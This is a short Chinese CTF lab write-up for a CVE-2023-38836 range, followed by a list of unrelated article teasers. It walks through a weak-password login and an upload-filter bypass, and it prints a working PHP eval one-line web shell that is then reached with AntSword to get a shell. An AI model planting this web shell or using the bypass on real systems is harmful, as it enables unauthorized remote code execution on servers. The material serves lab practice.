打开靶场环境
点击发现一个登陆框，弱口令试一下
发现账号密码为admin,password
随便点击点击
Media发现这里可以上传文件上传木马试试
<?php @eval($_POST["wjq"]); ?>
发现不能上传php文件
php内容
修改他的格式
抓包绕过一下
302就可以其实已经写进去了点一下4.php的view复制路径
蚁剑远程连接
获得shell
春秋云镜CVE-2023-38836
news2024/9/25 15:23:37
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1995916.html
如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！相关文章
绘制echarts-liquidfill水球图
文章目录 一、效果图二、步骤1.安装插件2.引入2.主要代码2.素材图片 总结 一、效果图 二、步骤
1.安装插件
npm install echarts
npm install echarts-liquidfillecharts5的版本与echarts-liquidfill3兼容，echarts4的版本与echarts-liquidfill2兼容,安装的时候需要…
Linux 内核源码分析---proc 文件系统
proc文件系统
进程数据文件系统（process data filesystem, procfs）装载在 /proc，缩写为 procFS。
proc 文件系统是一种虚拟文件系统，其信息不能从块设备读取。只有在读取文件内容时才动态生成相应的信息。使用proc文件系统&…
WPF篇（7）- Control基类+ContentControl类（内容控件）+ButtonBase基类
前面给大家介绍完了WPF所有的布局控件，属性以及使用案例，从这里咱们就开始学下内容控件。
Control基类
Control是许多控件的基类。比如最常见的按钮（Button）、单选(RadioButton)、复选（CheckBox）、文本框…
【JavaEE初阶】JUC(java.uitl.concurrent)的常见类
🌴Callable 接口 之前讲到Runnable接口，用于描述一个任务，通过Runnable中的run方法来体现的，但是描述的任务没有返回值（run方法是返回void），此处的Callable接口与Runnable接口类似，C…
LLVM理论篇之编译器前端
1、简述
LLVM前端通过对源程序的预处理，构成源程序的字符流扫描与分解，将单词序列提取为各类语法短语，生成抽象语法树，最终转换为中间代码。编译器前端包含的这几个过程如下：
（1）预编译
&…
【python】实现对文件夹中的图像连续重命名方法
import os
import shutildef rename_images(input_folder):# 获取输入文件夹下的所有图片文件（假设都是.jpg格式）image_files [f for f in os.listdir(input_folder) if os.path.isfile(os.path.join(input_folder, f)) and f.endswith(".jpg"…
性能测试工具LoadRunner
前言👀~
上一章我们介绍了性能测试的一些基本概念，重要的是性能测试的各项指标，今天我们使用性能测试工具LoadRunner简单的完成一次性能测试
性能测试Load Runner
LoadRunner是什么？
LoadRunner安装
LoadRunner脚本录制
1.录…
振弦式钢筋计的主要应用领域有哪些?
在现代工程建设中，钢筋作为重要的结构材料，其应力状态直接关系到工程结构的安全性和稳定性。因此，对钢筋应力的实时监测成为了保障工程质量的关键环节。振弦式钢筋计作为一种高精度、稳定性好的应力监测仪器，在桥梁、建筑、隧道等…
pg一些常用语句记录
查看数据库大小
pg_size_pretty：将数据库用量展示为KB、MB、GB等样式，查看更直观查看具体某个数据库的大小
select pg_size_pretty(pg_database_size(postgres)); 查看所有数据库的大小
select pg_database.datname, pg_size_pretty (pg_database_size(pg_database.datnam…
Sqli-labs-master靶场--布尔盲注
目录 1、布尔盲注
2、布尔盲注的流程（以靶场less-8为例）
2.1输入id尝试是否存在注入点
2.1.1通过以上尝试，联想到可能是布尔盲注
2.2猜测数据库长度
2.3获取数据库名
2.3.1python脚本获取
代码：
获取结果为：
…
机械学习—零基础学习日志（数学基础汇总1）
零基础为了学人工智能，正在艰苦的学习
我比较推荐，《三个月从零入门深度学习，保姆级学习路线图》的整体学习思路，但因为数学基础太差，而且针对所需的数学系统知识，我依然没有很明确的学习方向。
所以直接…
杀手级的AI LLM产品还有多久面世
AI产品落地：Killer App依然缺席的原因与未来展望 🚀
在当今科技领域，人工智能（AI）无疑正处于一个快速发展的阶段。尽管如此，关于AI产品的实际应用和市场落地，仍然存在诸多挑战。本文将探讨当前…
使用 Matplotlib 绘制折线图
使用 Matplotlib 绘制折线图
数据可视化是数据分析的重要组成部分，通过图表，我们可以更直观地理解数据背后的趋势和模式。Matplotlib 是 Python 最基础也是最常用的绘图库之一，非常适合初学者。本文将带你从零开始，逐步创建和自定…
Python Static Typing: 提升代码可靠性与可读性的使用技巧
💝💝💝欢迎莅临我的博客，很高兴能够在这里和您见面！希望您在这里可以感受到一份轻松愉快的氛围，不仅可以获得有趣的内容和知识，也可以畅所欲言、分享您的想法和见解。 推荐：「storm…
Java毕业设计 基于SSM和Vue的酒店管理系统小程序
Java毕业设计 基于SSM和Vue的酒店管理系统小程序
这篇博文将介绍一个基于SSM框架和Vue开发的酒店管理系统微信小程序，适合用于Java毕业设计。
功能介绍
用户 登录 注册 忘记密码 首页 图片轮播 房间信息 房间详情 预订 收藏 评论 我的 订单信息
酒店管理…
Python 常用内置函数
目录
1、enumerate函数
1.1、for循环中使用
1.2、enumerate指定索引的起始值
1.3、enumerate在线程中的作用
2、Map 函数
2.1、map()函数可以传多个迭代器对象
3、lambda表达式（匿名函数）
示例
4、sort函数和sorted函数
4.1、sort()函数
4.2、…
vue2学习 -- vuex
文章目录 1. 理解2. 语法2.1 安装使用2.2 getters配置项2.3 四个map方法的使用2.4 vuex模块化 1. 理解
概念：专门在ue中实现集中式状态（数据）管理的一个ue插件，对vue应用中多个组件的共享状态进行集中式的管理（读/写&…